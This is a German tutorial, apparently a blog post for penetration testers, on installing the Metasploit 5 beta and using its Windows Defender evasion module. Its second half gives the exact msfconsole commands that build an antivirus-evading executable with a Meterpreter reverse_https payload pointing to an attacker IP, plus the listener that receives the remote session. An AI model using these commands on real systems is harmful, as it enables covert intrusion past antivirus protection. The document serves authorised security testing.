Antivirus-Evasion in Metasploit 5

Es ist ein ständiges Katz-und-Maus-Spiel, das sich die Entwickler von Virenschutzlösungen und Penetrationstester liefern. Die Zeiten, in denen Antiviruslösungen auf rein signaturbasierenden Prüfungen setzten, sind längst vorbei. Moderne Programme verfügen über verhaltens- und cloudbasierte Erkennungen, Heuristik und Sandboxen.

Aus Sicht der Penetrationstester gibt es mehrere Ansätze, um Virenschutzlösungen zu umgehen. In der Vergangenheit flossen diese Techniken in Programme wie z.B. Veil-Evasion, msfvenom (Metasploit Framework) und dem Empire Framework ein.

Wer sich umfassend mit der Materie befasst wird feststellen, dass der Defender in Windows 10 die Erkennungsrate deutlich erhöht hat. Auch die früher so einfach durchzuführenden Angriffe mittels Powershell laufen immer öfter ins Leere. In vielen Fällen wird schon der erzeugte Payload vom Defender als Schadcode eingestuft und nicht ausgeführt.

Mit Metasploit 5 läutet Rapid7 in diesem Wettkampf eine neue Runde ein. In der Betaversion des Frameworks stellen die Entwickler ein neues Modul vor, dass bekannte Techniken mit neuen Ansätzen kombiniert. So wird die zukünftige Version einen C Compiler enthalten, der direkt aus Metaploit aufgerufen werden kann. Außerdem wird der so erzeugte Quellcode nach dem Zufallsprinzip generiert, verschlüsselt und mit weiteren Verschleierungstechniken angereichert.

Die so generierte Windows PE- Datei (.exe) lässt sich  sofort auf dem Zielsystem einsetzen und mit den bekannten Payloads (z.B. Meterpreter) und Ressource-Dateien kombinieren.

In diesem Beitrag zeige ich, wie Sie Metasploit 5 in der Beta-Version installieren und das neue Module anwenden.

Metasploit 5 – Beta installieren

Wer die neue Version vor dem Erscheinen ausprobieren möchte, der kann dies über den Nightly Installer oder auch über das Metasploit-Framework Omnibus Project tun.

Nightly Installer

Der Nightly Installer ist für die Betriebsysteme Linux/macOS und Windows verfügbar. Unter Linux führen Sie folgende Befehle in der Konsole aus:

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && 
  chmod 755 msfinstall && 
  ./msfinstall
									

Omnibus Project

Mit Hilfe dieses Projektes können Sie Pakete für das Metasploit-Framework erzeugen, die auf ihr Betriebssystem zugeschnitten sind. Am Ende erhalten Sie ein deb-Paket, dass sich einfach installieren lässt.  Ich habe die folgenden Befehl auf einem Ubuntu Server 18.04 getestet. Führen Sie nun folgende Schritte aus:
Abhängige Pakete installieren:

sudo apt-get -y install build-essential git ruby bundler ruby-dev bison flex autoconf automake libncurses5-dev
									

Benötigte Verzeichnisse anlegen. Setzen Sie hier in der 3. und 4. Zeile für “user” Ihren Nutzernamen ein.

sudo mkdir -p /var/cache/omnibus
sudo mkdir -p /opt/metasploit-framework
sudo chown -R user:user /var/cache/omnibus
sudo chown  -R user:user /opt/metasploit-framework
									

Bei Github anmelden. Nutzen Sie hier Ihre eigenen Nutzernamen und die E-Mail-Adresse, die Sie bei der kostenlosen Registrierung  bei Github verwendet haben:

git config --global user.name "Nutzername"
git config --global user.email "ihre@email.com"
									

Herunterladen des Metasploit-Frameworks und Prüfen der Abhängigkeiten

git clone https://github.com/rapid7/metasploit-omnibus.git
cd metasploit-omnibus
bundle install --binstubs
									

Pakete zusammenfügen:

bin/omnibus build metasploit-framework
									

Wenn alles ordnungsgemäß gelaufen ist, finden  Sie das fertige Paket in folgendem Verzeichnis:

/home/user/metasploit-omnibus/pkg

Zur Installation des Metasploit-Frameworks führen Sie diesen Befehl aus:

dpkg -i metasploit-framework_XXXXX_amd64.deb
									

Sie starten die Metasploit-Konsole mit dem bekannten Befehl msfconsole. Beim ersten Aufruf wird die Datenbank eingerichtet und weitere Einstellungen vorgenommen. Übernehmen Sie hier einfach die vorgegebenen Werte.

 

Evasion-Payload erstellen

Am einfachsten nutzen Sie nun den Search-Befehl, um die neuen Module zu finden. Folgendes Kommando hilft hier schnell weiter:

search name:defender
									

Mit den folgenden Kommandos erstellen Sie eine exe-Datei, die den Payload windows/meterpreter/reverse_https enthält.

use evasion/windows/windows_defender_exe
set payload windows/meterpreter/reverse_https
set lhost 192.168.171.246
run
									

 

 

Eingehende Sessions empfangen

In diesem speziellen Fall wurde die Datei DgPLoUJc.exe erzeugt, die nun auf das zu penetrierende System übertragen werden muss.

Im letzen Schritt benötigen Sie einen Handler, der die eingehenden Daten vom Zielsystem empfängt. Er wird mit folgenden Befehlen erstellt:

use multi/handler
set payload windows/meterpreter/reverse_https
set  lhost 0.0.0.0
exploit -j

									

 

Wird die Datei auf dem Windows10-PC ausgeführt…

 

… so erhalten Sie eine Meterpreter-Session.

Schreibe einen Kommentar